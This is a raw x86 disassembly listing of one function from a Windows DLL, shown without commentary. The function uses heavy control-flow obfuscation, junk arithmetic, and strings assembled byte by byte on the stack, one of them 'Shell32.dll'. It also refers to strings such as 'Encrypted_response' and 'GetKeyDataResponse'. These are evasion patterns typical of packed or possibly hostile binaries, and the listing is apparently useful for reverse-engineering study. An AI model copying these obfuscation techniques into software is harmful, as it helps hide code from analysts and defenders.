mov ecx, dword [esp + 0x28]
add edi, 0x525f83c7
mov esi, dword [esp + 0x2c]
sub ecx, edi
mov dword [0x1000f08c], edx
sbb esi, 0
mov dword [esp + 0x28], ecx
cdq
mov dword [esp + 0x2c], esi
mov byte [esp + 0x112], 0x6c
mov dword [0x1000f008], 0x93
mov dword [esp + 0x5c], eax
mov dword [0x1000f00c], 0
movzx eax, word [esp + 0x18]
mov ecx, dword [0x1000f008]
mov esi, dword [0x1000f00c]
mov dword [esp + 0xac], edx
cdq
add eax, 1
adc edx, 0
cmp ecx, eax
jne 0x10008fad
cmp esi, edx
jne 0x10008fad
sub esp, 0x10
call fcn.10001940
movzx eax, ax
add esp, 0x10
cdq
mov dword [0x1000f078], eax
or eax, edx
mov dword [0x1000f07c], edx
je 0x10008f9f
mov ax, word [esp + 0x1c]
shr ax, 7
mov word [0x1000f070], ax
jmp 0x10008fad
mov al, byte [esp + 0x94]
add al, 0x13
mov byte [0x1000f006], al
xor eax, eax
mov dword [0x1000f008], 0x93
mov word [0x1000f018], ax
mov dword [0x1000f00c], 0
mov ax, word [0x1000f044]
add al, 0xa
mov byte [esp + 0x110], 0x64
cmp dword [esp + 0x4c], 0
mov word [esp + 0x62], ax
jne 0x10009036
mov eax, dword [0x1000f020]
mov ecx, dword [0x1000f024]
not eax
not ecx
cmp dword [esp + 0x44], eax
jne 0x10009004
cmp dword [esp + 0x78], ecx
jne 0x10009004
xor ecx, ecx
jmp 0x10009009
mov ecx, 1
movzx eax, byte [0x1000f01a]
cmp word [esp + 0x18], ax
sbb eax, eax
neg eax
cmp ecx, eax
jbe 0x10009036
mov dx, word [esp + 0x62]
movsx ecx, byte [0x1000f098]
movsx eax, dl
imul ecx, eax
and dl, cl
mov word [esp + 0x62], dx
mov ecx, dword [esp + 0xc8]
sub esp, 0x10
sub cl, byte [esp + 0xd8]
mov eax, dword [esp + 0xd8]
sub cl, al
mov eax, dword [esp + 0xd8]
add al, cl
mov ecx, dword [esp + 0x184]
sub cl, 0x24
movsx eax, al
xor cl, 0x10
mov byte [esp + 0x11f], 0x2e
movsx ecx, cl
imul ecx, eax
mov al, 0x6c
sub al, cl
mov byte [esp + 0x11c], al
mov ax, word [esp + 0x2c]
call fcn.10001180
mov byte [esp + 0x68], al
add esp, 0x10
mov ax, word [esp + 0x62]
movsx eax, al
mov dword [esp + 0xdc], eax
cdq
mov ecx, edx
mov dword [esp + 0xe4], eax
mov dword [esp + 0xe0], ecx
cmp ecx, dword [0x1000f08c]
ja 0x100090cc
jb 0x100090c5
cmp eax, dword [0x1000f088]
ja 0x100090cc
mov esi, 1
jmp 0x100090ce
xor esi, esi
movsx eax, byte [esp + 0x14]
mov edi, dword [esp + 0x38]
not eax
mov ecx, dword [esp + 0x3c]
cdq
cmp ecx, edx
jg 0x100090ef
jl 0x100090e8
cmp edi, eax
ja 0x100090ef
mov edx, 2
jmp 0x100090f4
mov edx, 1
mov ax, word [0x1000f074]
movsx eax, byte [esp + 0x14]
movzx ecx, byte [0x1000f002]
add ecx, eax
add ecx, esi
cmp ecx, edx
jl 0x10009146
cmp byte [0x1000f006], 0
je 0x10009146
movzx eax, word [0x1000f0a4]
movzx ecx, word [0x1000f070]
imul ecx, eax
mov eax, dword [esp + 0x34]
neg ecx
sbb ecx, ecx
inc ecx
movzx ecx, cx
sub ecx, eax
movzx eax, cx
mov ecx, dword [esp + 0x54]
add ecx, eax
mov word [0x1000f094], cx
cmp dword [esp + 0x44], 0xc4dd0000
mov edi, 0x2db1
mov word [0x1000f018], di
mov edi, dword [esp + 0x78]
mov byte [esp + 0x109], 0x68
jne 0x1000921d
cmp edi, 0xfffc799b
jne 0x1000921d
mov ecx, dword [esp + 0x5c]
movzx eax, byte [0x1000f01a]
add ecx, 0xd87f
mov esi, dword [esp + 0xac]
cdq
adc esi, 0
cmp eax, ecx
jne 0x1000921d
cmp edx, esi
jne 0x1000921d
mov eax, dword [0x1000f010]
sub esp, 8
mov ecx, dword [0x1000f014]
mov eax, dword [esp + 0x58]
mov eax, dword [0x1000f008]
mov ecx, dword [0x1000f00c]
call fcn.10001860
add esp, 8
mov byte [0x1000f003], al
test al, al
jg 0x1000921d
mov ecx, dword [esp + 0x80]
mov eax, dword [esp + 0x84]
or ecx, eax
jne 0x100091fd
mov ecx, dword [0x1000f030]
mov eax, dword [0x1000f034]
not ecx
not eax
or ecx, eax
jne 0x100091fd
mov ax, word [0x1000f080]
mov eax, dword [esp + 0x38]
mov ecx, dword [esp + 0x3c]
add eax, 0x77
mov byte [0x1000f003], 0x5b
adc ecx, 0
mov dword [esp + 0x5c], eax
mov dword [esp + 0xac], ecx
mov eax, 0x2db1
mov edx, 0xf0
mov word [0x1000f018], ax
mov eax, dword [esp + 0xf4]
add eax, 0x141e
mov word [esp + 0x18], ax
mov ecx, dword [0x1000f058]
mov eax, dword [0x1000f05c]
mov eax, 0x506e
add cx, ax
mov word [esp + 0x18], cx
nop word [eax + eax]
mov ax, word [0x1000f03c]
xor esi, esi
mov ecx, dword [0x1000f010]
mov eax, dword [0x1000f014]
not ecx
not eax
cmp esi, eax
jg 0x10009289
jl 0x10009285
cmp dword [0x1000f060], ecx
jae 0x10009289
xor ecx, ecx
jmp 0x1000928e
mov ecx, 1
cmp word [esp + 0x1c], si
jne 0x1000929b
mov ax, word [0x1000f068]
test ecx, ecx
je 0x100092af
mov eax, dword [0x1000f06c]
sar eax, 7
mov word [0x1000f054], ax
jmp 0x100092c4
cmp byte [0x1000f01c], 0x19
je 0x100092c4
mov dword [esp + 0x38], 0x25a8e2b
mov dword [esp + 0x3c], esi
mov eax, dword [0x1000f058]
mov ecx, dword [0x1000f05c]
add eax, 1
mov dword [0x1000f058], eax
adc ecx, esi
mov dword [0x1000f05c], ecx
sub edx, 1
jne 0x10009260
mov byte [esp + 0x108], 0x53
mov dword [0x1000f09c], 1
movzx eax, word [esp + 0x18]
mov ecx, dword [0x1000f09c]
add ecx, eax
movsx eax, word [0x1000f018]
cmp eax, ecx
jne 0x10009495
mov eax, dword [esp + 0x44]
mov esi, edi
add eax, 0xa8
mov dword [esp + 0x174], eax
adc esi, edx
mov dword [esp + 0xf4], esi
mov eax, dword [esp + 0x38]
sub esp, 0xc
mov ecx, dword [esp + 0x48]
mov eax, dword [0x1000f09c]
call fcn.100016a0
movsx eax, al
add esp, 0xc
cdq
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], edx
mov ecx, dword [esp + 0x28]
mov eax, dword [esp + 0x2c]
or ecx, eax
je 0x1000940e
mov eax, dword [esp + 0xc0]
cdq
cmp edi, edx
mov edx, dword [esp + 0x44]
jb 0x10009382
ja 0x1000937b
cmp edx, eax
jb 0x10009382
mov ecx, 1
jmp 0x10009384
xor ecx, ecx
test edi, edi
jne 0x10009391
cmp edx, 0x38
jae 0x10009391
xor eax, eax
jmp 0x10009396
mov eax, 1
cmp ecx, eax
jae 0x100093d7
movzx eax, word [esp + 0x1c]
mov esi, dword [esp + 0x38]
mov edi, dword [esp + 0x3c]
cdq
and esi, eax
and edi, edx
mov eax, dword [esp + 0x38]
mov ecx, dword [esp + 0x3c]
sub eax, esi
mov esi, dword [esp + 0xf4]
mov dword [esp + 0x38], eax
sbb ecx, edi
mov edi, dword [esp + 0x78]
mov eax, 0xb6b3
mov dword [esp + 0x3c], ecx
mov word [esp + 0x18], ax
jmp 0x10009440
cmp word [section..data], 0
je 0x10009440
mov al, byte [esp + 0x12]
add al, 0x41
mov byte [esp + 0x12], al
mov edx, dword [0x1000f09c]
add dl, byte [esp + 0x11]
mov ecx, dword [0x1000f028]
not dl
mov eax, dword [0x1000f02c]
add cl, dl
add cl, byte [esp + 0x58]
mov byte [esp + 0x11], cl
jmp 0x10009440
cmp dword [0x1000f040], 0
je 0x10009440
mov eax, dword [esp + 0x54]
sub eax, 0xc140b14
mov dword [esp + 0x8c], 0
cdq
mov dword [esp + 0x5c], eax
mov eax, dword [0x100b0edc]
mov dword [esp + 0xac], edx
mov dword [esp + 0x74], eax
mov eax, dword [esp + 0x174]
xor ecx, ecx
cmp dword [0x1000f060], eax
jne 0x10009495
cmp ecx, esi
jne 0x10009495
movzx eax, word [0x1000f0a0]
mov ecx, eax
imul ecx, dword [esp + 0x178]
or ecx, eax
mov word [0x1000f0a0], cx
mov dword [0x1000f09c], 1
movzx eax, word [esp + 0x18]
mov ecx, dword [0x1000f09c]
add ecx, eax
movsx eax, word [0x1000f018]
cmp eax, ecx
je 0x10009331
mov al, byte [esp + 0x12]
mov ecx, 0x8533
xor al, byte [esp + 0x4c]
mov byte [esp + 0x12], al
mov eax, dword [esp + 0x94]
movzx eax, al
and ax, cx
mov byte [esp + 0x10d], 0x33
mov word [0x1000f090], ax
mov eax, dword [esp + 0x54]
cdq
cmp eax, dword [esp + 0x44]
jne 0x100094d4
cmp edx, edi
jne 0x100094d4
xor edx, edx
jmp 0x100094d9
mov edx, 1
mov eax, dword [esp + 0x54]
xor ecx, ecx
cmp eax, 0x2d
setne cl
cmp edx, ecx
jae 0x10009570
movzx eax, word [esp + 0x18]
cdq
cmp dword [esp + 0x44], eax
jne 0x10009504
cmp edi, edx
jne 0x10009504
mov ecx, 1
jmp 0x10009506
xor ecx, ecx
cmp dword [esp + 0x44], 0x55
jne 0x10009516
test edi, edi
jne 0x10009516
lea eax, [edi + 1]
jmp 0x10009518
xor eax, eax
cmp ecx, eax
jae 0x1000953e
movzx ecx, byte [0x1000f005]
mov al, byte [0x1000f005]
sub ecx, dword [esp + 0xc0]
sub cl, al
mov byte [esp + 0x58], 0xda
mov byte [0x1000f005], cl
jmp 0x1000959e
cmp byte [esp + 0x90], 0
je 0x1000959e
movzx eax, byte [0x1000f004]
mov ecx, 0x3986
add ax, cx
mov word [0x1000f04c], ax
movzx eax, word [0x1000f094]
shr ax, 2
mov word [0x1000f03c], ax
jmp 0x1000959e
mov ecx, dword [0x1000f058]
mov eax, dword [0x1000f05c]
or ecx, eax
je 0x1000959e
cmp byte [0x1000f01a], 0
je 0x1000959e
mov eax, dword [0x1000f058]
mov ecx, dword [0x1000f05c]
mov dword [0x1000f010], eax
mov dword [0x1000f014], ecx
mov eax, 0x5601
mov byte [esp + 0x10b], 0x6c
mov word [0x1000f018], ax
mov eax, dword [0x1000f058]
mov ecx, dword [0x1000f05c]
cmp eax, dword [esp + 0x20]
jne 0x10009621
mov esi, dword [esp + 0xf8]
cmp ecx, esi
jne 0x10009621
mov edi, 0x5601
movsx eax, byte [0x1000f003]
add eax, dword [esp + 0x4c]
cmp eax, 1
jne 0x1000961d
mov ecx, 0x188
nop word [eax + eax]
mov edx, dword [esp + 0x38]
mov eax, dword [esp + 0x3c]
mov dword [esp + 0x58], edx
sub ecx, 1
jne 0x100095f0
mov eax, dword [0x1000f058]
mov ecx, dword [0x1000f05c]
mov word [0x1000f018], di
cmp eax, dword [esp + 0x20]
jne 0x1000961d
cmp ecx, esi
je 0x100095d2
mov edi, dword [esp + 0x78]
cmp dword [esp + 0x34], 0
je 0x10009652
mov al, byte [0x1000f005]
sub esp, 0x10
call fcn.10001940
add esp, 0x10
mov word [0x1000f03c], ax
cmp word [0x1000f03c], 0
je 0x10009652
mov al, byte [esp + 0x14]
sub al, 0xd
mov byte [esp + 0x11], al
mov eax, dword [0x1000f06c]
xor ecx, ecx
not eax
mov byte [esp + 0x111], 0x6c
cmp eax, 0xeca5
mov byte [esp + 0x10a], 0x65
mov al, byte [0x1000f01a]
sete cl
cmp al, byte [0x1000f002]
movsx eax, word [0x1000f04c]
sbb edx, edx
neg edx
xor edx, ecx
xor ecx, ecx
cmp dword [esp + 0x64], eax
sete cl
cmp dword [0x1000f098], ecx
sbb eax, eax
neg eax
cmp edx, eax
ja 0x100096d7
mov eax, dword [esp + 0x28]
mov ecx, dword [esp + 0x2c]
cmp eax, 0xa1
jne 0x100096b5
test ecx, ecx
je 0x100096ba
mov ecx, 1
mov eax, dword [esp + 0x58]
cmp al, byte [0x1000f004]
sbb eax, eax
inc eax
cmp ecx, eax
jae 0x100096d7
mov ax, word [0x100b0edc]
mov word [0x1000f0a0], ax
mov eax, dword [esp + 0xec]
mov eax, dword [esp + 0xd4]
movzx eax, byte [0x1000f01a]
movzx esi, word [0x1000f0a0]
cmp si, ax
mov byte [esp + 0x10e], 0x32
mov al, 0x3e
mov byte [esp + 0x113], 0
sbb edx, edx
inc edx
cmp al, byte [0x1000f01a]
sbb eax, eax
inc eax
cmp edx, eax
jbe 0x10009730
mov eax, dword [0x1000f09c]
call fcn.10001ba0
mov word [section..data], ax
mov ax, word [section..data]
jmp 0x10009766
cmp byte [esp + 0x7c], 0
je 0x10009766
mov eax, dword [0x102b37fc]
mov ecx, dword [0x1000f008]
add eax, esi
mov word [0x1000f0a0], ax
mov eax, dword [0x1000f00c]
or ecx, eax
mov al, byte [0x1000f01a]
jne 0x1000975d
mov al, byte [0x1000f007]
movzx eax, al
mov word [0x1000f050], ax
cmp byte [0x1000f004], 0
mov byte [esp + 0x118], 0x61
mov byte [esp + 0x11b], 0x2e
je 0x1000978b
mov ax, word [0x1000f048]
mov word [0x1018b522], ax
mov edx, dword [esp + 0xd0]
mov eax, dword [esp + 0xd0]
mov ecx, dword [esp + 0xd0]
sub al, dl
sub cl, byte [esp + 0xa0]
movsx eax, al
movsx ecx, cl
imul ecx, eax
mov ax, word [esp + 0x18]
mov eax, dword [esp + 0x38]
add cl, 0x53
mov byte [esp + 0x114], cl
mov ecx, dword [esp + 0x3c]
cmp word [0x1000f018], 0
je 0x100097d7
mov al, byte [esp + 0x11]
mov ecx, dword [esp + 0x44]
movzx eax, word [0x1000f048]
add ecx, 0xe71cfe0f
cdq
adc edi, 0
mov byte [esp + 0x119], 0x70
mov byte [0x1000f004], 0x9f
mov dword [esp + 0xa0], ecx
cmp eax, ecx
jne 0x10009972
cmp edx, edi
jne 0x10009972
movzx eax, word [esp + 0x18]
cdq
add eax, dword [0x1000f020]
adc edx, dword [0x1000f024]
cmp eax, 1
jne 0x10009972
test edx, edx
jne 0x10009972
movzx ecx, word [0x1000f074]
movsx eax, word [str._k]
cmp ecx, eax
je 0x10009911
push ecx
call fcn.10001790
xor edx, edx
mov dword [esp + 0x50], eax
add esp, 4
cmp eax, 0x4f
setle dl
xor ecx, ecx
test eax, eax
setle cl
cmp ecx, edx
jae 0x100098c2
movups xmm0, xmmword [str.Encrypted_response]
mov eax, dword [0x1000e160]
mov dword [esp + 0x270], eax
mov ax, word [0x1000e164]
movups xmmword [esp + 0x250], xmm0
mov word [esp + 0x274], ax
lea eax, [esp + 0x250]
movups xmm0, xmmword [0x1000e150]
push eax
movups xmmword [esp + 0x264], xmm0
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cdq
mov dword [0x1000f008], eax
mov dword [0x1000f00c], edx
jmp 0x10009952
cmp word [0x1000f018], 0
je 0x10009952
movsx eax, byte [0x1000f003]
imul eax, eax, 0xdc
not eax
cdq
mov esi, eax
mov ecx, edx
movzx eax, word [0x1000f048]
sub esi, dword [esp + 0x5c]
cdq
sbb ecx, dword [esp + 0xac]
push edx
push eax
push ecx
push esi
call fcn.1000d360
not eax
not edx
mov dword [0x1000f020], eax
mov dword [0x1000f024], edx
jmp 0x10009952
cmp byte [esp + 0x90], 0
je 0x10009952
cmp word [0x1000f044], 0
je 0x10009952
cmp dword [esp + 0x50], 0
je 0x10009952
movzx eax, word [0x1000f03c]
cdq
add eax, 0x95cb214
mov dword [esp + 0x64], 0x2f12
mov dword [0x1000f088], eax
adc edx, 0xfffc0ff7
mov dword [0x1000f08c], edx
movzx eax, word [0x1000f048]
cdq
mov byte [0x1000f004], 0x9f
cmp eax, dword [esp + 0xa0]
jne 0x10009972
cmp edx, edi
je 0x10009812
push ecx
mov byte [esp + 0x122], 0x6c
call fcn.10001790
mov byte [0x1000f005], al
add esp, 4
mov al, byte [0x1000f005]
mov eax, dword [0x1000f06c]
mov ecx, dword [esp + 0x80]
not eax
mov esi, dword [esp + 0x84]
cdq
cmp ecx, eax
jne 0x100099ab
cmp esi, edx
je 0x100099bf
mov dword [0x1000f010], 0xa84f
mov dword [0x1000f014], 0
mov eax, dword [esp + 0x188]
mov edx, dword [esp + 0x188]
xor dl, al
mov eax, dword [esp + 0x184]
mov ecx, dword [esp + 0x184]
xor cl, al
movsx eax, dl
movsx ecx, cl
imul ecx, eax
mov al, 0x6c
sub al, cl
mov byte [esp + 0x116], al
mov byte [0x1000f004], 0x4c
movzx eax, byte [0x1000f004]
cdq
cmp eax, dword [esp + 0x20]
jne 0x10009a4f
cmp edx, dword [esp + 0xf8]
jne 0x10009a4f
cmp byte [0x1000f003], 1
jne 0x10009a4f
mov eax, dword [esp + 0x34]
sub al, 0x44
mov dword [esp + 0x90], eax
movzx eax, byte [0x1000f005]
mov esi, dword [esp + 0x28]
mov edi, dword [esp + 0x2c]
cdq
add esi, eax
mov eax, dword [esp + 0x28]
mov ecx, dword [esp + 0x2c]
adc edi, edx
add eax, esi
mov dword [esp + 0x28], eax
adc ecx, edi
mov dword [esp + 0x2c], ecx
mov byte [0x1000f004], 0x4c
movsx eax, word [0x1000f050]
mov cx, word [0x1000e178]
movups xmm0, xmmword [str.GetKeyDataResponse]
cdq
sub eax, 0x363e4cd4
mov word [esp + 0x1e0], cx
mov cl, byte [0x1000e17a]
mov dword [esp + 0x28], eax
sbb edx, 0x846ad
lea eax, [esp + 0x1d0]
mov dword [esp + 0x2c], edx
push eax
movups xmmword [esp + 0x1d4], xmm0
mov byte [esp + 0x1e6], cl
call dword [sym.imp.KERNEL32.dll_lstrlenA]
movzx eax, ax
mov dword [esp + 0x5c], eax
mov eax, dword [esp + 0xc0]
cdq
mov esi, eax
mov byte [esp + 0x11a], 0x69
mov eax, dword [0x1000f024]
mov edi, edx
mov edx, dword [0x1000f020]
cmp edx, esi
jne 0x10009adf
cmp eax, edi
jne 0x10009adf
mov ecx, 1
jmp 0x10009ae1
xor ecx, ecx
cmp edx, 0x14
jne 0x10009aef
test eax, eax
jne 0x10009aef
lea eax, [edx - 0x13]
jmp 0x10009af1
xor eax, eax
cmp ecx, eax
jne 0x10009b00
mov eax, dword [0x1000f010]
mov ecx, dword [0x1000f014]
movzx eax, byte [0x1000f004]
mov ecx, dword [esp + 0x28]
cdq
mov dword [esp + 0xa0], ecx
mov ecx, dword [esp + 0x2c]
mov byte [esp + 0x11c], 0x64
cmp ecx, edx
ja 0x10009bac
jb 0x10009b36
cmp dword [esp + 0xa0], eax
jae 0x10009bac
cmp byte [esp + 0x58], 0
jne 0x10009b4b
mov eax, dword [esp + 0x44]
or eax, dword [esp + 0x78]
jne 0x10009b4b
xor edx, edx
jmp 0x10009b50
mov edx, 1
movzx ecx, word [0x1000f044]
movsx eax, byte [0x1000f01e]
not ecx
sub ecx, eax
cmp ecx, edx
jne 0x10009b7c
mov eax, dword [0x1000f010]
mov ecx, dword [0x1000f014]
mov eax, dword [0x1000f028]
mov ecx, dword [0x1000f02c]
mov ax, word [esp + 0x1c]
mov eax, dword [0x1000f010]
mov ecx, dword [0x1000f014]
mov dword [esp + 0xa0], eax
mov al, byte [esp + 0x170]
neg al
mov dword [esp + 0xa4], ecx
mov dword [esp + 0x94], eax
jmp 0x10009be0
mov ax, word [0x1000f0a4]
sub ax, word [0x1000f078]
mov word [0x1000f0a4], ax
movzx eax, word [0x1000f094]
cdq
add eax, 0x44fe5c64
mov dword [esp + 0x80], eax
adc edx, 0xa806a
mov dword [esp + 0x84], edx
mov eax, 0xafaa
mov byte [esp + 0x115], 0x68
mov byte [esp + 0x11d], 0x6c
mov byte [esp + 0x117], 0x77
mov word [section..data], ax
mov ecx, dword [esp + 0x38]
mov eax, dword [esp + 0x3c]
add ecx, 0xe8b9afaa
adc eax, 0
mov dword [esp + 0xa0], eax
movzx eax, word [section..data]
cdq
cmp eax, ecx
jne 0x10009cd6
cmp edx, dword [esp + 0xa0]
jne 0x10009cd6
mov eax, dword [esp + 0x4c]
add eax, 0x6deb
cdq
cmp dword [0x1000f020], eax
jne 0x10009cd6
cmp dword [0x1000f024], edx
jne 0x10009cd6
mov eax, dword [0x1000f058]
mov ecx, dword [0x1000f05c]
call fcn.10001ca0
add esi, dword [0x1000f088]
not esi
mov dword [esp + 0x74], eax
adc edi, dword [0x1000f08c]
not edi
mov dword [esp + 0x8c], 0
or esi, edi
je 0x10009ccf
mov ecx, dword [esp + 0x28]
mov eax, dword [esp + 0x2c]
or ecx, eax
je 0x10009cb8
mov eax, dword [esp + 0x38]
mov ecx, dword [esp + 0x3c]
mov ax, word [0x1000f074]
mov eax, dword [esp + 0x34]
sub eax, 0xf5
mov word [0x1000f068], ax
jmp 0x10009cd6
mov ax, word [esp + 0x1c]
add word [0x1000f070], ax
mov al, byte [0x1000f040]
mov byte [esp + 0x14], al
jmp 0x10009cd6
inc word [0x1000f018]
mov eax, 0xafaa
xor ecx, ecx
mov word [section..data], ax
mov edx, 0x1e3
mov ax, word [0x1000f090]
test ax, ax
movzx eax, byte [esp + 0x12]
mov byte [esp + 0x11f], 0
sete cl
sub ecx, eax
mov al, byte [0x100b0edc]
mov dword [esp + 0xa0], ecx
mov dword [esp + 0xac], eax
nop word [eax + eax]
mov ax, word [section..data]
cmp ax, word [0x1000f094]
ja 0x10009d4c
mov ecx, dword [esp + 0x74]
mov eax, dword [esp + 0x8c]
neg ecx
mov dword [0x1000f030], ecx
adc eax, 0
neg eax
mov dword [0x1000f034], eax
mov al, byte [esp + 0x12]
dec edx
inc al
mov byte [esp + 0x12], al
test edx, edx
jg 0x10009d20
mov eax, dword [esp + 0xcc]
xor ecx, ecx
mov eax, dword [esp + 0xcc]
mov eax, dword [esp + 0xf0]
mov eax, dword [esp + 0xcc]
mov eax, dword [esp + 0xf0]
mov eax, dword [esp + 0xcc]
mov eax, 0x2e
mov word [esp + 0x194], ax
mov eax, dword [0x1000f060]
shr eax, 6
mov byte [0x1000f004], al
mov al, byte [0x1000f01b]
test al, al
mov eax, 0x74
sete cl
add cx, word [esp + 0x1c]
mov word [0x1000f068], cx
mov ecx, dword [0x1000f010]
mov word [esp + 0x19a], ax
mov eax, dword [0x1000f014]
or ecx, eax
jne 0x10009dd8
lea eax, [ecx + 1]
jmp 0x10009dda
xor eax, eax
cmp dword [esp + 0xa0], eax
mov edx, dword [esp + 0x90]
sbb eax, eax
movsx ecx, dl
inc eax
cmp eax, ecx
jne 0x10009e27
movzx eax, byte [0x1000f004]
cdq
cmp dword [esp + 0x44], eax
jne 0x10009e0a
cmp dword [esp + 0x78], edx
jne 0x10009e0a
xor edx, edx
jmp 0x10009e0f
mov edx, 1
mov eax, dword [0x1000f06c]
xor ecx, ecx
test eax, eax
sets cl
cmp edx, ecx
jae 0x10009e27
mov eax, dword [esp + 0x5c]
mov byte [esp + 0x13], al
mov ecx, dword [esp + 0x38]
mov eax, 0x70
mov esi, dword [esp + 0x3c]
add ecx, 0xea228ce8
mov word [esp + 0x192], ax
mov byte [0x1000f01e], 0xe8
adc esi, 0
movsx eax, byte [0x1000f01e]
cdq
cmp eax, ecx
jne 0x10009e92
cmp edx, esi
jne 0x10009e92
mov eax, dword [esp + 0x44]
mov ecx, dword [esp + 0x78]
add eax, 0xd87f
adc ecx, 0
xor edx, edx
cmp dword [0x1000f098], eax
jne 0x10009e92
cmp edx, ecx
jne 0x10009e92
mov edi, dword [0x1000f020]
mov eax, dword [0x1000f024]
shrd edi, eax, 7
mov word [0x1000f094], di
jmp 0x10009e99
mov di, word [0x1000f094]
mov eax, dword [esp + 0x4c]
mov ecx, 0xbc4f
cdq
mov dword [esp + 0x44], eax
mov eax, dword [esp + 0x58]
movzx esi, al
imul esi, ecx
movzx ecx, di
mov byte [0x1000f01e], 0xe8
mov dword [esp + 0x78], edx
mov word [esp + 0x1c], si
mov esi, dword [esp + 0x50]
mov eax, dword [esp + 0x50]
sub esi, ecx
movsx edx, word [0x1000f018]
add eax, esi
mov dword [esp + 0x50], eax
mov eax, 0x64
mov edi, dword [0x1000f010]
mov word [esp + 0x18c], ax
movzx eax, word [0x1000f070]
and edx, eax
mov eax, dword [0x1000f014]
movzx eax, word [0x1000f0a0]
add edi, edx
inc eax
add edi, eax
mov eax, dword [esp + 0xd8]
sub eax, dword [esp + 0xd8]
not edi
movzx ecx, ax
mov eax, dword [esp + 0xe8]
mov edx, dword [esp + 0xe8]
xor edx, eax
mov dword [esp + 0xa0], edi
imul edx, ecx
add edx, 0x65
mov word [esp + 0x18e], dx
mov byte [0x1000f005], 0x3f
mov ecx, dword [esp + 0x38]
mov esi, dword [esp + 0x3c]
add ecx, 1
movzx eax, byte [0x1000f005]
cdq
adc esi, 0
cmp eax, ecx
jne 0x10009f9d
cmp edx, esi
jne 0x10009f9d
mov eax, dword [0x1000f028]
mov esi, 0xa7e9
mov ecx, dword [0x1000f02c]
sub esi, eax
mov eax, dword [0x1000f058]
mov edx, 0
sbb edx, ecx
mov ecx, dword [0x1000f05c]
add eax, esi
mov dword [0x1000f058], eax
adc ecx, edx
mov dword [0x1000f05c], ecx
mov eax, dword [0x1000f06c]
mov byte [0x1000f005], 0x3f
xor edx, edx
mov ax, word [0x1000f04c]
mov ecx, 0x5e87
sub ax, cx
mov ecx, dword [esp + 0x28]
mov word [0x1000f064], ax
test edi, edi
mov eax, dword [esp + 0x2c]
sete dl
movsx eax, di
sub dx, cx
movsx ecx, dx
imul ecx, eax
not cx
mov word [0x1000f080], cx
movzx eax, byte [esp + 0x13]
cdq
add eax, 0x5890
mov edi, edx
mov dword [esp + 0xd0], eax
mov eax, 0x74
adc edi, 0
mov word [esp + 0x196], ax
sub esp, 8
call fcn.100013c0
add esp, 8
mov word [0x1000f0a4], ax
cmp word [0x1000f0a4], 0
je 0x1000a045
cmp byte [0x1000f01c], 0
je 0x1000a045
mov ecx, dword [esp + 0xa0]
add cl, byte [0x1000f01a]
mov ax, word [0x1000f0a4]
not cl
sub cl, byte [esp + 0x62]
add al, cl
mov byte [0x1000f01c], al
sub esp, 8
mov eax, 0x78
mov word [esp + 0x1a0], ax
call fcn.100012d0
mov dword [esp + 0x58], eax
add esp, 8
cmp dword [esp + 0x50], 0
jg 0x1000a0f8
mov eax, dword [esp + 0x94]
mov esi, dword [esp + 0x28]
mov ecx, dword [esp + 0x2c]
movzx eax, al
cdq
cmp ecx, edx
ja 0x1000a090
jb 0x1000a089
cmp esi, eax
jae 0x1000a090
mov ecx, 1
jmp 0x1000a092
xor ecx, ecx
mov edx, dword [esp + 0x28]
mov eax, dword [esp + 0x2c]
test eax, eax
ja 0x1000a0ac
jb 0x1000a0a5
cmp edx, 0x1f
jae 0x1000a0ac
mov eax, 1
jmp 0x1000a0ae
xor eax, eax
cmp ecx, eax
jb 0x1000a0d4
mov ecx, dword [0x1000f010]
mov al, byte [0x100b0edc]
sub cl, 0x4d
mov byte [0x1000f01e], al
mov eax, dword [0x1000f014]
add cl, byte [esp + 0x13]
mov byte [esp + 0x13], cl
jmp 0x1000a107
xorps xmm0, xmm0
movlpd qword [esp + 0xa0], xmm0
mov edx, dword [esp + 0xa4]
mov eax, dword [esp + 0xa0]
mov dword [esp + 0x78], edx
mov dword [esp + 0x44], eax
jmp 0x1000a10f
movzx eax, byte [esp + 0x18]
imul eax, eax, 0x97
add byte [esp + 0x58], al
mov eax, dword [esp + 0x44]
mov edx, dword [esp + 0x78]
cmp dword [0x1000f040], 0
mov ecx, 0x65
mov word [esp + 0x190], cx
jne 0x1000a133
cmp word [0x1000f090], 0
jne 0x1000a133
xor ecx, ecx
jmp 0x1000a138
mov ecx, 1
or eax, edx
je 0x1000a14b
cmp word [esp + 0x5c], 0
je 0x1000a14b
mov eax, 1
jmp 0x1000a14d
xor eax, eax
cmp ecx, eax
jb 0x1000a19c
movzx eax, byte [esp + 0x13]
mov edx, 0x56
cmp eax, dword [esp + 0x34]
mov eax, dword [esp + 0x34]
sbb ecx, ecx
neg ecx
cmp edx, eax
sbb eax, eax
neg eax
cmp ecx, eax
jb 0x1000a17f
mov al, 0x1d
sub al, byte [esp + 0x4c]
add byte [0x1000f01e], al
jmp 0x1000a1ba
movzx eax, word [0x1000f094]
mov byte [0x1000f01b], 0x4b
mov ecx, dword [esp + 0x34]
xor ecx, eax
mov word [0x1000f0a4], cx
jmp 0x1000a1ba
cmp dword [0x1000f040], 0
je 0x1000a1ba
mov ecx, dword [0x1000f010]
mov eax, dword [0x1000f014]
shrd ecx, eax, 6
mov byte [0x1000f002], cl
movups xmm0, xmmword [str.http:__schemas.xml]
xor eax, eax
mov word [esp + 0x19c], ax
mov eax, dword [0x1000e19c]
mov dword [esp + 0x2a0], eax
mov ax, word [0x1000e1a0]
movups xmmword [esp + 0x280], xmm0
mov word [esp + 0x2a4], ax
lea eax, [esp + 0x280]
movups xmm0, xmmword [0x1000e18c]
push eax
movups xmmword [esp + 0x294], xmm0
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov byte [esp + 0x13], al
movsx eax, word [str._k]
cdq
cmp edx, dword [0x1000f08c]
ja 0x1000a288
jb 0x1000a22c
cmp eax, dword [0x1000f088]
jae 0x1000a288
cmp word [esp + 0x1c], 0
je 0x1000a25c
mov eax, dword [esp + 0x58]
movzx eax, al
cdq
add eax, 0xb83c740
mov byte [esp + 0x90], 0xe1
mov dword [0x1000f030], eax
adc edx, 0x91409
mov dword [0x1000f034], edx
jmp 0x1000a2ac
cmp byte [0x1000f003], 0
je 0x1000a2ac
mov cl, byte [esp + 0x13]
mov al, byte [esp + 0x13]
sub cl, byte [0x1000f020]
add al, cl
mov byte [esp + 0x13], al
mov al, byte [0x1000f030]
add al, 0x74
add byte [0x1000f01d], al
jmp 0x1000a2ac
cmp dword [0x1000f09c], 0
je 0x1000a2ac
